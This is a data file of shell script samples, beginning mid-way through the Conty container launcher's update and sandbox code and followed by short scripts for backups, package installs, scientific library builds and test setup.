SUDO_MOUNT to mount the image using the regular\"\n\t\t\techo \"mount command instead of squashfuse.\"\n\n\t\t\texit 1\n\t\tfi\n\n\t\tmount_tool=squashfuse\n\tfi\n\n\tshow_msg \"Using system-wide ${mount_tool} and bwrap\"\nfi\n\nif [ \"${SUDO_MOUNT}\" = 1 ]; then\n\tshow_msg \"Using regular mount command (sudo mount) instead of squashfuse\"\n\n\tmount_tool=mount\n\tuse_sudo=sudo\nfi\n\nif [ \"$1\" = \"-u\" ] || [ \"$1\" = \"-U\" ]; then\n\tOLD_PWD=\"${PWD}\"\n\n\t# Check if the current directory is writable\n\t# And if it's not, use ~/.local/share/Conty as a working directory\n\tif ! touch test_rw 2>/dev/null; then\n\t\tupdate_temp_dir=\"${HOME}\"/.local/share/Conty/conty_update_temp\n\telse\n\t\tupdate_temp_dir=\"${OLD_PWD}\"/conty_update_temp\n\tfi\n\trm -f test_rw\n\n\t# Remove conty_update_temp directory if it already exists\n\tchmod -R 700 \"${update_temp_dir}\" 2>/dev/null\n\trm -rf \"${update_temp_dir}\"\n\n\tmkdir -p \"${update_temp_dir}\"\n\tcd \"${update_temp_dir}\" || exit 1\n\n\ttail -c +$((scriptsize+1)) \"${script}\" | head -c ${utilssize} | tar -C \"${update_temp_dir}\" -zxf -\n\n\tif [ \"${dwarfs_image}\" = 1 ]; then\n\t\tchmod +x utils/dwarfsextract 2>/dev/null\n\t\tchmod +x utils/mkdwarfs 2>/dev/null\n\n\t\tif [ ! -x \"utils/dwarfsextract\" ] || [ ! -x \"utils/mkdwarfs\" ]; then\n\t\t\tmissing_utils=\"dwarfsextract and/or mkdwarfs\"\n\t\tfi\n\telse\n\t\tchmod +x utils/unsquashfs 2>/dev/null\n\t\tchmod +x utils/mksquashfs 2>/dev/null\n\n\t\tif [ ! -x \"utils/unsquashfs\" ] || [ ! -x \"utils/mksquashfs\" ]; then\n\t\t\tmissing_utils=\"unsquashfs and/or mksquashfs\"\n\t\tfi\n\tfi\n\n\tif [ -n \"${missing_utils}\" ]; then\n\t\techo \"The integrated utils don't contain ${missing_utils}.\"\n\t\techo \"Or your file system is mounted with noexec.\"\n\t\texit 1\n\tfi\n\n\ttools_wrapper () {\n\t\t\"${update_temp_dir}\"/utils/ld-linux-x86-64.so.2 --library-path \"${update_temp_dir}\"/utils \"$@\"\n\t}\n\n\t# Since Conty is used here to update itself, it's necessary to disable\n\t# some environment variables for this to work properly\n\tunset DISABLE_NET\n\tunset HOME_DIR\n\tunset BIND\n\tunset BIND_RO\n\tunset SANDBOX_LEVEL\n\n\t# Enable SANDBOX\n\texport SANDBOX=1\n\n\texport QUIET_MODE=1\n\n\t# Extract the image\n\tclear\n\techo \"Extracting the image\"\n\tif [ \"${dwarfs_image}\" = 1 ]; then\n\t\tmkdir sqfs\n\t\ttools_wrapper \"${update_temp_dir}\"/utils/dwarfsextract \\\n\t\t-i \"${script}\" -o sqfs -O ${offset} --cache-size \"${dwarfs_cache_size}\" \\\n\t\t--num-workers \"${dwarfs_num_workers}\"\n\telse\n\t\ttools_wrapper \"${update_temp_dir}\"/utils/unsquashfs \\\n\t\t-o ${offset} -user-xattrs -d sqfs \"${script}\"\n\tfi\n\n\t# Download or extract the utils.tar.gz and the init script depending\n\t# on what command line argument is used (-u or -U)\n\tclear\n\tif [ \"$1\" = \"-U\" ] && command -v wget 1>/dev/null; then\n\t\tif [ \"${dwarfs_image}\" = 1 ]; then\n\t\t\tutils=\"utils_dwarfs.tar.gz\"\n\t\telse\n\t\t\tutils=\"utils.tar.gz\"\n\t\tfi\n\n\t\techo \"Downloading the init script and the utils\"\n\t\twget -q --show-progress \"https://github.com/Kron4ek/Conty/raw/master/conty-start.sh\"\n\t\twget -q --show-progress -O utils.tar.gz \"https://github.com/Kron4ek/Conty/raw/master/${utils}\"\n\tfi\n\n\tif [ ! -s conty-start.sh ] || [ ! -s utils.tar.gz ]; then\n\t\techo \"Extracting the init script and the integrated utils\"\n\t\ttail -c +$((scriptsize+1)) \"${script}\" | head -c ${utilssize} > utils.tar.gz\n\t\thead -c ${scriptsize} \"${script}\" > conty-start.sh\n\tfi\n\n\t# Check if there are additional arguments passed\n\tshift\n\tif [ -n \"$1\" ]; then\n\t\tpackagelist=\"$@\"\n\n\t\t# Check which packages to install and which ones to remove\n\t\tfor i in ${packagelist}; do\n\t\t\tif [ \"$(echo \"${i}\" | head -c 1)\" = \"-\" ]; then\n\t\t\t\texport pkgsremove=\"${pkgsremove} $(echo \"${i}\" | tail -c +2)\"\n\t\t\telse\n\t\t\t\texport pkgsinstall=\"${pkgsinstall} ${i}\"\n\t\t\tfi\n\t\tdone\n\tfi\n\n\t# Generate a script to perform inside Conty\n\t# It updates Arch mirrorlist\n\t# Updates keyrings\n\t# Updates all installed packages\n\t# Installs additional packages (if requested)\n\t# Removes packages (if requested)\n\t# Clears package cache\n\t# Updates SSL CA certificates\n\t# Generates locales\n\tcat < container-update.sh\nreflector --protocol https --score 5 --sort rate --save /etc/pacman.d/mirrorlist\nfakeroot -- pacman -Syy 2>/dev/null\ndate -u +\"%d-%m-%Y %H:%M (DMY UTC)\" > /version\nfakeroot -- pacman --noconfirm -S archlinux-keyring 2>/dev/null\nfakeroot -- pacman --noconfirm -S chaotic-keyring 2>/dev/null\nrm -rf /etc/pacman.d/gnupg\nfakeroot -- pacman-key --init\necho \"keyserver hkps://keyserver.ubuntu.com\" >> /etc/pacman.d/gnupg/gpg.conf\nfakeroot -- pacman-key --populate archlinux\nfakeroot -- pacman-key --populate chaotic\nfakeroot -- pacman --noconfirm --overwrite \"*\" -Su 2>/dev/null\nfakeroot -- pacman --noconfirm -Runs ${pkgsremove} 2>/dev/null\nfakeroot -- pacman --noconfirm -S ${pkgsinstall} 2>/dev/null\nrm -f /var/cache/pacman/pkg/*\npacman -Qn > /pkglist.x86_64.txt\npacman -Qm >> /pkglist.x86_64.txt\nupdate-ca-trust\nlocale-gen\nEOF\n\n rm -f sqfs/etc/resolv.conf\n cp /etc/resolv.conf sqfs/etc/resolv.conf\n mkdir -p sqfs/run/shm\n\n\t# Execute the previously generated script\n\tclear\n\techo \"Updating and installing packages\"\n\tbash \"${script}\" --bind sqfs / --ro-bind /sys /sys --dev-bind /dev /dev \\\n\t\t\t\t--proc /proc --bind \"${update_temp_dir}\" \"${update_temp_dir}\" \\\n\t\t\t\tbash container-update.sh\n\n\t# Create an image\n\tclear\n\techo \"Creating an image\"\n\tif [ \"${dwarfs_image}\" = 1 ]; then\n\t\ttools_wrapper \"${update_temp_dir}\"/utils/mkdwarfs \\\n\t\t-i sqfs -o image ${dwarfs_comp_arguments}\n\telse\n\t\ttools_wrapper \"${update_temp_dir}\"/utils/mksquashfs \\\n\t\tsqfs image ${squashfs_comp_arguments}\n\tfi\n\n\t# Combine into a single executable\n\tclear\n\techo \"Combining everything into a single executable\"\n\tcat conty-start.sh utils.tar.gz image > conty_updated.sh\n\tchmod +x conty_updated.sh\n\n\tmv -f \"${script}\" \"${script}\".old.\"${script_md5}\" 2>/dev/null\n\tmv -f conty_updated.sh \"${script}\" 2>/dev/null || move_failed=1\n\n\tif [ \"${move_failed}\" = 1 ]; then\n\t\tmv -f conty_updated.sh \"${OLD_PWD}\" 2>/dev/null || \\\n\t\tmv -f conty_updated.sh \"${HOME}\" 2>/dev/null\n\tfi\n\n\tchmod -R 700 sqfs 2>/dev/null\n\trm -rf \"${update_temp_dir}\"\n\n\tclear\n\techo \"Conty has been updated!\"\n\n\tif [ \"${move_failed}\" = 1 ]; then\n\t\techo\n\t\techo \"Replacing ${script} with the new one failed!\"\n\t\techo\n\t\techo \"You can find conty_updated.sh in the current working\"\n\t\techo \"directory or in your HOME.\"\n\tfi\n\n\texit\nfi\n\nrun_bwrap () {\n\tunset sandbox_params\n\tunset unshare_net\n\tunset custom_home\n\tunset bind_items\n\n\tif [ -n \"${WAYLAND_DISPLAY}\" ]; then\n\t\twayland_socket=\"${WAYLAND_DISPLAY}\"\n\telse\n\t\twayland_socket=\"wayland-0\"\n\tfi\n\n\tif [ -z \"${XDG_RUNTIME_DIR}\" ]; then\n\t\tXDG_RUNTIME_DIR=\"/run/user/${EUID}\"\n\tfi\n\n\tif [ \"${SANDBOX}\" = 1 ]; then\n\t\tsandbox_params=\"--tmpfs /home \\\n --dir ${HOME} \\\n --tmpfs /opt \\\n --tmpfs /mnt \\\n --tmpfs /media \\\n --tmpfs /var \\\n --tmpfs /run \\\n --symlink /run /var/run \\\n --tmpfs /tmp \\\n --new-session\"\n\n\t\tif [ -n \"${SANDBOX_LEVEL}\" ] && [ \"${SANDBOX_LEVEL}\" -ge 2 ]; then\n\t\t\tsandbox_level_msg=\"(level 2)\"\n\t\t\tsandbox_params=\"${sandbox_params} \\\n --dir ${XDG_RUNTIME_DIR} \\\n --ro-bind-try ${XDG_RUNTIME_DIR}/${wayland_socket} ${XDG_RUNTIME_DIR}/${wayland_socket} \\\n --ro-bind-try ${XDG_RUNTIME_DIR}/pulse ${XDG_RUNTIME_DIR}/pulse \\\n --ro-bind-try ${XDG_RUNTIME_DIR}/pipewire-0 ${XDG_RUNTIME_DIR}/pipewire-0 \\\n --unshare-pid \\\n --unshare-user-try \\\n --unsetenv DBUS_SESSION_BUS_ADDRESS\"\n\t\telse\n\t\t\tsandbox_level_msg=\"(level 1)\"\n\t\t\tsandbox_params=\"${sandbox_params} \\\n --bind-try ${XDG_RUNTIME_DIR} ${XDG_RUNTIME_DIR} \\\n --bind-try /run/dbus /run/dbus\"\n\t\tfi\n\n\t\tif [ -n \"${SANDBOX_LEVEL}\" ] && [ \"${SANDBOX_LEVEL}\" -ge 3 ]; then\n\t\t\tsandbox_level_msg=\"(level 3)\"\n\t\t\tDISABLE_NET=1\n\t\t\tsandbox_params=\"${sandbox_params} \\\n --ro-bind-try /tmp/.X11-unix/X${xephyr_display} /tmp/.X11-unix/X${xephyr_display} \\\n --setenv DISPLAY :${xephyr_display}\"\n\t\telse\n\t\t\tsandbox_params=\"${sandbox_params} \\\n --ro-bind-try /tmp/.X11-unix /tmp/.X11-unix\"\n\t\tfi\n\n\t\tshow_msg \"Sandbox is enabled ${sandbox_level_msg}\"\n\tfi\n\n\tif [ \"${DISABLE_NET}\" = 1 ]; then\n\t\tshow_msg \"Network is disabled\"\n\n\t\tunshare_net=\"--unshare-net\"\n\tfi\n\n\tif [ -n \"${HOME_DIR}\" ]; then\n\t\tshow_msg \"Set home directory to ${HOME_DIR}\"\n\n\t\tcustom_home=\"--bind ${HOME_DIR} ${HOME}\"\n\tfi\n\n\tif [ -n \"${BIND}\" ]; then\n\t\tshow_msg \"Mounted items: ${BIND}\"\n\n\t\tfor i in ${BIND}; do\n\t\t\tbind_items=\"${bind_items} --bind ${i} ${i}\"\n\t\tdone\n\tfi\n\n\tif [ -n \"${BIND_RO}\" ]; then\n\t\tshow_msg \"Read-only mounted items: ${BIND_RO}\"\n\n\t\tfor i in ${BIND_RO}; do\n\t\t\tbind_items=\"${bind_items} --ro-bind ${i} ${i}\"\n\t\tdone\n\tfi\n\n\t# Set the XAUTHORITY variable if it's missing (which is unlikely)\n\tif [ -z \"${XAUTHORITY}\" ]; then\n\t\tXAUTHORITY=\"${HOME}\"/.Xauthority\n\tfi\n\n\tshow_msg\n\n\tlaunch_wrapper \"${bwrap}\" \\\n\t\t\t--ro-bind \"${mount_point}\" / \\\n\t\t\t--dev-bind /dev /dev \\\n\t\t\t--ro-bind /sys /sys \\\n\t\t\t--bind-try /tmp /tmp \\\n\t\t\t--proc /proc \\\n\t\t\t--bind-try /home /home \\\n\t\t\t--bind-try /mnt /mnt \\\n\t\t\t--bind-try /opt /opt \\\n\t\t\t--bind-try /media /media \\\n\t\t\t--bind-try /run /run \\\n\t\t\t--bind-try /var /var \\\n\t\t\t--ro-bind-try /usr/share/steam/compatibilitytools.d /usr/share/steam/compatibilitytools.d \\\n\t\t\t--ro-bind-try /etc/resolv.conf /etc/resolv.conf \\\n\t\t\t--ro-bind-try /etc/hosts /etc/hosts \\\n\t\t\t--ro-bind-try /etc/nsswitch.conf /etc/nsswitch.conf \\\n\t\t\t--ro-bind-try /etc/passwd /etc/passwd \\\n\t\t\t--ro-bind-try /etc/group /etc/group \\\n\t\t\t--ro-bind-try /etc/machine-id /etc/machine-id \\\n\t\t\t--ro-bind-try /etc/asound.conf /etc/asound.conf \\\n\t\t\t--ro-bind-try /etc/localtime /etc/localtime \\\n\t\t\t${sandbox_params} \\\n\t\t\t${custom_home} \\\n\t\t\t${bind_items} \\\n\t\t\t${unshare_net} \\\n\t\t\t--ro-bind-try \"${XAUTHORITY}\" \"${XAUTHORITY}\" \\\n\t\t\t--setenv PATH \"${CUSTOM_PATH}\" \\\n\t\t\t\"$@\"\n}\n\ntrap_exit () {\n\trm -f \"${working_dir}\"/running_\"${script_id}\"\n\n\tif [ ! \"$(ls \"${working_dir}\"/running_* 2>/dev/null)\" ]; then\n\t\tfusermount${fuse_version} -uz \"${mount_point}\" 2>/dev/null || \\\n\t\t${use_sudo} umount --lazy \"${mount_point}\" 2>/dev/null\n\n\t\trm -rf \"${working_dir}\"\n\tfi\n\n\texit\n}\n\ntrap 'trap_exit' EXIT\n\nif [ \"$(ls \"${working_dir}\"/running_* 2>/dev/null)\" ] && [ ! \"$(ls \"${mount_point}\" 2>/dev/null)\" ]; then\n\trm -f \"${working_dir}\"/running_*\nfi\n\n# Mount the image\nmkdir -p \"${mount_point}\"\n\n# Since mounting dwarfs images is relatively slow on HDDs, it's better\n# to show a message when the mounting is in process\nif [ \"${dwarfs_image}\" = 1 ] && [ ! \"$(ls \"${mount_point}\" 2>/dev/null)\" ]; then\n\tshow_msg \"Mounting the image, please wait...\"\nfi\n\nif [ \"$(ls \"${mount_point}\" 2>/dev/null)\" ] || \\\n\t( [ \"${dwarfs_image}\" != 1 ] && launch_wrapper \"${mount_tool}\" -o offset=\"${offset}\",ro \"${script}\" \"${mount_point}\" ) || \\\n\tlaunch_wrapper \"${mount_tool}\" \"${script}\" \"${mount_point}\" -o offset=\"${offset}\" -o debuglevel=error -o workers=\"${dwarfs_num_workers}\" \\\n\t-o mlock=try -o no_cache_image -o cache_files -o cachesize=\"${dwarfs_cache_size}\"; then\n\n\tif [ \"$1\" = \"-m\" ]; then\n\t\tif [ ! -f \"${working_dir}\"/running_mount ]; then\n\t\t\techo 1 > \"${working_dir}\"/running_mount\n\t\t\techo \"The image has been mounted to ${mount_point}\"\n\t\telse\n\t\t\trm -f \"${working_dir}\"/running_mount\n\t\t\techo \"The image has been unmounted\"\n\t\tfi\n\n\t\texit\n\tfi\n\n\tif [ \"$1\" = \"-V\" ]; then\n\t\tif [ -f \"${mount_point}\"/version ]; then\n\t\t\tcat \"${mount_point}\"/version\n\t\telse\n\t\t\techo \"Unknown version\"\n\t\tfi\n\n\t\texit\n\tfi\n\n\techo 1 > \"${working_dir}\"/running_\"${script_id}\"\n\n\tif [ \"${dwarfs_image}\" = 1 ] && [ \"${QUIET_MODE}\" != 1 ]; then\n\t\tclear\n\tfi\n\n\tshow_msg \"Running Conty\"\n\n\texport CUSTOM_PATH=\"/bin:/sbin:/usr/bin:/usr/sbin:/usr/lib/jvm/default/bin:/usr/local/bin:/usr/local/sbin:${PATH}\"\n\n\tif [ \"$1\" = \"-l\" ]; then\n\t\trun_bwrap --ro-bind \"${mount_point}\"/var /var \\\n bash -c \"pacman -Qn; pacman -Qm\"\n\t\texit\n\tfi\n\n\t# If SANDBOX_LEVEL is 3, run Xephyr and openbox before running applications\n\tif [ \"${SANDBOX}\" = 1 ] && [ -n \"${SANDBOX_LEVEL}\" ] && [ \"${SANDBOX_LEVEL}\" -ge 3 ]; then\n\t\tif [ -f \"${mount_point}\"/usr/bin/Xephyr ]; then\n\t\t\tif [ -z \"${XEPHYR_SIZE}\" ]; then\n\t\t\t\tXEPHYR_SIZE=\"800x600\"\n\t\t\tfi\n\n\t\t\txephyr_display=\"$((${script_id}+2))\"\n\n\t\t\tif [ -S /tmp/.X11-unix/X${xephyr_display} ]; then\n\t\t\t\txephyr_display=\"$((${script_id}+10))\"\n\t\t\tfi\n\n\t\t\tQUIET_MODE=1 DISABLE_NET=1 SANDBOX_LEVEL=2 run_bwrap \\\n\t\t\t--bind /tmp/.X11-unix /tmp/.X11-unix \\\n\t\t\tXephyr -noreset -ac -br -screen ${XEPHYR_SIZE} :${xephyr_display} &>/dev/null & sleep 1\n\t\t\txephyr_pid=$!\n\n\t\t\tQUIET_MODE=1 run_bwrap openbox & sleep 1\n\t\telse\n\t\t\techo \"SANDBOX_LEVEL is set to 3, but Xephyr is not present inside the container.\"\n\t\t\techo \"Xephyr is required for this SANDBOX_LEVEL.\"\n\n\t\t\texit 1\n\t\tfi\n\tfi\n\n\tif [ -L \"${script_literal}\" ] && [ -f \"${mount_point}\"/usr/bin/\"${script_name}\" ]; then\n\t\texport CUSTOM_PATH=\"/bin:/sbin:/usr/bin:/usr/sbin:/usr/lib/jvm/default/bin\"\n\n\t\tshow_msg \"Autostarting ${script_name}\"\n\t\trun_bwrap \"${script_name}\" \"$@\"\n\telse\n\t\trun_bwrap \"$@\"\n\tfi\n\n\tif [ -n \"${xephyr_pid}\" ]; then\n\t\twait ${xephyr_pid}\n\tfi\nelse\n\techo \"Mounting the image failed!\"\n\n\texit 1\nfi\n\nexit"} {"text": "#!/bin/bash\n\nsource ./env/bin/activate\npython3 virtual_assistant.py"} {"text": "1-10\n#!/bin/bash\nBACKUP=\"/run/media/daniel/BACKUP/\"\n~/.bin/mount-eHDD.sh\n\nif [ -d $BACKUP ]; then\n rsync -ravz --partial /home/daniel/Documents $BACKUP\n rsync -ravz --partial /home/daniel/Projects $BACKUP \n rsync -ravz --partial /home/daniel/Downloads $BACKUP \n rsync -ravz --partial /home/daniel/Pictures $BACKUP \n rsync -ravz --partial /home/daniel/scripts $BACKUP\n echo 'Completed backup'\nelse\n echo 'Not connected to external HDD'\nfi"} {"text": "#!/bin/sh\n\nyaourt -S libreoffice libreoffice-en-US hunspell hunspell-en hyphen hyphen-en libmythes mythes-en"} {"text": "kjetil-lye/unbounded_tv_experiments0\n##### NOTE: We want to use MPICH, since it is the \"native\" supported MPI library for most clusters\n##### (on Cray clusters they usually replace the mpich library with their own in the docker/shifter container)\n##### Because of this, we need to compile some packages ourselves, even though they come with ubuntu\n##### (but only with openmpi support)\nexport INSTALL_PREFIX=/userdata/klye/local_alsvinn\n\n\nexport PNETCDF_VERSION=1.10.0\nexport NETCDF_VERSION=4.6.1\nexport GTEST_VERSION=1.8.0\n\nexport BOOST_MAJOR_VERSION=1\nexport BOOST_MINOR_VERSION=68\nexport BOOST_RELEASE_VERSION=0\n\nexport CMAKE_MAJOR_VERSION=3\nexport CMAKE_MINOR_VERSION=12\nexport CMAKE_RELEASE_VERSION=2\nexport SCRATCH=/userdata/klye\nset -e\n##### CMAKE\ncd $SCRATCH &&\\\n wget https://cmake.org/files/v${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION}/cmake-${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION}.${CMAKE_RELEASE_VERSION}.tar.gz &&\\\n tar xvf cmake-${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION}.${CMAKE_RELEASE_VERSION}.tar.gz &&\\\n cd cmake-${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION}.${CMAKE_RELEASE_VERSION} && \\\n ./bootstrap --system-curl --prefix=$INSTALL_PREFIX && \\\n make && \\\n make install && \\\n cd $SCRATCH &&\\\n rm -rf cmake*\n\n##### HDF5\nwget https://support.hdfgroup.org/ftp/HDF5/releases/hdf5-1.8/hdf5-1.8.21/src/hdf5-1.8.21.tar.gz &&\\\n tar xvf hdf5-1.8.21.tar.gz &&\\\n cd hdf5-1.8.21 &&\\\n ./configure --enable-parallel --prefix=$INSTALL_PREFIX &&\\\n make &&\\\n make install\n\n\n\n\n##### NETCDF\nexport H5DIR=/usr/lib/mpich && \\\n cd $SCRATCH && \\\n wget ftp://ftp.unidata.ucar.edu/pub/netcdf/netcdf-${NETCDF_VERSION}.tar.gz &&\\\n tar xvf netcdf-${NETCDF_VERSION}.tar.gz && \\\n cd netcdf-${NETCDF_VERSION} &&\\\n export CPPFLAGS=-I${H5DIR}/include export CFLAGS=-L${H5DIR}/lib; \\\n mkdir build;\\\n cd build;\\\n $INSTALL_PREFIX/bin/cmake .. -DCMAKE_C_COMPILER=`which mpicc` ~/local_alsvinn/bin/cmake .. -DCMAKE_PREFIX_PATH=/cluster/apps/szip/2.1/x86_64/gcc_4.8.2/ -DCMAKE_INSTALL_PREFIX=$INSTALL_PREFIX && \\\n make install &&\\\n cd ../.. &&\\\n rm -rf netcdf*\n\n##### PNETCDF\ncd ~ && \\\n wget http://cucis.ece.northwestern.edu/projects/PnetCDF/Release/parallel-netcdf-${PNETCDF_VERSION}.tar.gz &&\\\n tar xvf parallel-netcdf-${PNETCDF_VERSION}.tar.gz &&\\\n cd parallel-netcdf-${PNETCDF_VERSION} &&\\\n export CFLAGS='-fPIC' &&\\\n ./configure --prefix=$INSTALL_PREFIX &&\\\n make install &&\\\n cd $SCRATCH &&\\\n rm -rf parallel-netcdf*\n\n##### GTest\ncd $SCRATCH &&\\\n wget https://github.com/google/googletest/archive/release-${GTEST_VERSION}.zip &&\\\n unzip release-${GTEST_VERSION}.zip &&\\\n cd googletest-release-${GTEST_VERSION} &&\\\n mkdir build &&\\\n cd build &&\\\n $INSTALL_PREFIX/bin/cmake .. -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=$INSTALL_PREFIX -DCMAKE_C_COMPILER=`which $CC` -DCMAKE_CXX_COMPILER=`which $CXX`&&\\\n make install &&\\\n find . -iname '*.a' -exec cp {} ${INSTALL_PREFIX}/lib/ \\; &&\\\n cd $SCRATCH &&\\\n rm -rf release-${GTEST_VERSION}.zip googletest-release-${GTEST_VERSION}\n\n\n\n\n\ncd $SCRATCH &&\\\n wget https://dl.bintray.com/boostorg/release/${BOOST_MAJOR_VERSION}.${BOOST_MINOR_VERSION}.${BOOST_RELEASE_VERSION}/source/boost_${BOOST_MAJOR_VERSION}_${BOOST_MINOR_VERSION}_${BOOST_RELEASE_VERSION}.tar.bz2 && \\\n tar xvf boost_${BOOST_MAJOR_VERSION}_${BOOST_MINOR_VERSION}_${BOOST_RELEASE_VERSION}.tar.bz2 && cd boost_${BOOST_MAJOR_VERSION}_${BOOST_MINOR_VERSION}_${BOOST_RELEASE_VERSION} && \\\n ./bootstrap.sh --with-python=`which python` --prefix=$INSTALL_PREFIX && \\\n ./b2 --build-type=complete --layout=tagged install && \\\n cd $SCRATCH && \\\n rm -rf boost_*"} {"text": "ho-nl/vagrant-development-box0\n#!/bin/bash\n\nset -e\n\nAS_USER=\"sudo -u ${VAGRANT_USER}\"\nHOME_DIR=$(getent passwd ${VAGRANT_USER} | cut -d ':' -f6)\nMAGENTO_DIR=${VAGRANT_PROJECT_DIR:-magento2}\n\necho \"🔥 Ensuring the box is ready for Magento 2\"\n\n$AS_USER touch ${HOME_DIR}/nginx/magento2.flag\n\n[ -d ${HOME_DIR}/${MAGENTO_DIR} ] || $AS_USER mkdir ${HOME_DIR}/${MAGENTO_DIR}\n[ -d ${HOME_DIR}/${MAGENTO_DIR}/pub ] || $AS_USER mkdir ${HOME_DIR}/${MAGENTO_DIR}/pub\n\nrm -rf ${HOME_DIR}/public\n$AS_USER ln -fs ${HOME_DIR}/${MAGENTO_DIR}/pub ${HOME_DIR}/public"} {"text": "#!/bin/sh\n\n# Copy test directory to local filesystem, outside of source repo, and owned by dryad user\nsudo mkdir -p -m 0755 ${DRYAD_TEST_DIR}\nsudo mkdir -p -m 0755 ${DRYAD_TEST_DIR}/testData\nsudo mkdir -p -m 0755 ${DRYAD_TEST_DIR}/assetstore\nsudo chown -R $USER ${DRYAD_TEST_DIR}\ncp -L -r $TRAVIS_BUILD_DIR/test/config $DRYAD_TEST_DIR/config\ncp -R $TRAVIS_BUILD_DIR/dspace-api/src/test/resources/dspaceFolder/testData/* $DRYAD_TEST_DIR/testData/\ncp $TRAVIS_BUILD_DIR/dspace/etc/server/settings.xml $HOME/.m2/\n\npsql -U postgres -c \"create user dryad_app with createdb;\" -d template1\ncreatedb -U dryad_app dryad_repo\npsql -U postgres -c \"create user ${PGUSER} with createdb;\" -d template1\ncreatedb -U ${PGUSER} ${PGDATABASE}\n\n${DRYAD_CODE_DIR}/test/bin/install-test-database.sh"} {"text": "#!/usr/bin/env bash\n\n# Check if root.\nif [[ $EUID -eq 0 ]]; then\n error \"Run using sudo or as the root user\"\n exit 1\nfi\n\n# Install gems. (Assuming they have ruby.)\necho \"Installing the required ruby gems.\"\nsudo gem install jekyll stringex sass &&\necho \"Done installing the gems.\"\n\n\n# Check and install node.js\ntype node 2>/dev/null ||\necho \"Installing node.js.\"\n\n# Debian and like OSs.\n[ $OSTYPE = linux-gnu ] &&\ntype apt-get 2>/dev/null &&\napt-get install g++ curl libssl-dev apache2-utils \\\ngit-core\n\n# Clone and install node.\n( cd /tmp;\n git clone https://github.com/joyent/node.git;\n cd node\n ./configure\n make\n sudo make install\n)\n\n# Now clone the devopera repo.\ngit clone :operasoftware/devopera.git\ncd devopera\nnpm install\nnpm install grunt-cli -g\ngrunt build\necho \"Check the _site dir. Thank you!\""} {"text": "lib/kb_das_tool/bin/bbmap/gi2taxid.sh\n#!/bin/bash\n\nusage(){\necho \"\nWritten by .\nLast modified January 3, 2018\n\nDescription: Renames fasta sequences to indicate their NCBI taxIDs.\nThe headers must be in NCBI or Silva format with gi numbers,\naccessions, or organism names. Only supports fasta sequence files.\n\nUsage: gi2taxid.sh in= out= gi=\n\nParameters:\nin= Input sequences; required parameter. Must be fasta.\n This can alternatively be a comma-delimited list,\n or just a bunch of space-delimited filenames, e.g.:\n gi2taxid.sh x.fa y.fa z.fa out=tid.fa tree=auto table=auto\nout= Destination for renamed sequences.\ninvalid= Destination for headers with no taxid.\nkeepall=t Keep sequences with no taxid in normal output.\nprefix=t Append the taxid as a prefix to the old header, but keep\n the old header.\ntitle=tid Set the title of the new number (e.g. ncbi, taxid, tid).\nziplevel=2 (zl) Compression level for gzip output.\npigz=f Spawn a pigz (parallel gzip) process for faster \n compression than Java. Requires pigz to be installed.\nsilva=f Parse headers in Silva format.\nshrinknames=f Replace multiple concatenated headers with the first.\n\nTaxonomy file flags:\ntree= Specify a taxtree file. On Genepool, use 'auto'.\ngi= Specify a gitable file. On Genepool, use 'auto'.\naccession= Specify one or more comma-delimited NCBI accession to\n taxid files. On Genepool, use 'auto'.\n\nJava Parameters:\n-Xmx This will be passed to Java to set memory usage, overriding the program's automatic memory detection.\n -Xmx20g will specify 20 gigs of RAM, and -Xmx800m will specify 800 megs. The max is typically 85% of physical memory.\n-eoom This flag will cause the process to exit if an out-of-memory exception occurs. Requires Java 8u92+.\n-da Disable assertions.\n\nPlease contact at if you encounter any problems.\n\"\n}\n\npushd . > /dev/null\nDIR=\"${BASH_SOURCE[0]}\"\nwhile [ -h \"$DIR\" ]; do\n cd \"$(dirname \"$DIR\")\"\n DIR=\"$(readlink \"$(basename \"$DIR\")\")\"\ndone\ncd \"$(dirname \"$DIR\")\"\nDIR=\"$(pwd)/\"\npopd > /dev/null\n\n#DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )/\"\nCP=\"$DIR\"\"current/\"\nNATIVELIBDIR=\"$DIR\"\"jni/\"\n\nz=\"-Xmx7g\"\nz2=\"-Xms7g\"\nEA=\"-ea\"\nEOOM=\"\"\nset=0\n\nif [ -z \"$1\" ] || [[ $1 == -h ]] || [[ $1 == --help ]]; then\n\tusage\n\texit\nfi\n\ncalcXmx () {\n\tsource \"$DIR\"\"/calcmem.sh\"\n\tparseXmx \"$@\"\n\tif [[ $set == 1 ]]; then\n\t\treturn\n\tfi\n\tfreeRam 7000m 84\n\tz=\"-Xmx${RAM}m\"\n\tz2=\"-Xms${RAM}m\"\n}\ncalcXmx \"$@\"\n\n\ngi2taxid() {\n\tif [[ $SHIFTER_RUNTIME == 1 ]]; then\n\t\t#Ignore NERSC_HOST\n\t\tshifter=1\n\telif [[ $NERSC_HOST == genepool ]]; then\n\t\tmodule unload oracle-jdk\n\t\tmodule load oracle-jdk/1.8_144_64bit\n\t\tmodule load pigz\n\telif [[ $NERSC_HOST == denovo ]]; then\n\t\tmodule unload java\n\t\tmodule load java/1.8.0_144\n\t\tmodule load pigz\n\telif [[ $NERSC_HOST == cori ]]; then\n\t\tmodule use /global/common/software/m342/nersc-builds/denovo/Modules/jgi\n\t\tmodule use /global/common/software/m342/nersc-builds/denovo/Modules/usg\n\t\tmodule unload java\n\t\tmodule load java/1.8.0_144\n\t\tmodule load pigz\n\tfi\n\tlocal CMD=\"java $EA $EOOM $z $z2 -cp $CP tax.RenameGiToNcbi $@\"\n\techo $CMD >&2\n\teval $CMD\n}\n\ngi2taxid \"$@\""} {"text": "#!/bin/bash\n# Copyright 2019 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\necho \"This script will disable exporting metrics from kbatch-prometheus to Stackdriver.\"\n\nGCP_PROJECT=$(gcloud config get-value project)\nif [[ \"$?\" -ne 0 ]]; then\n echo \"GCP project is not currently configured. Please use 'gcloud config set project PROJECT' and retry.\"\n exit 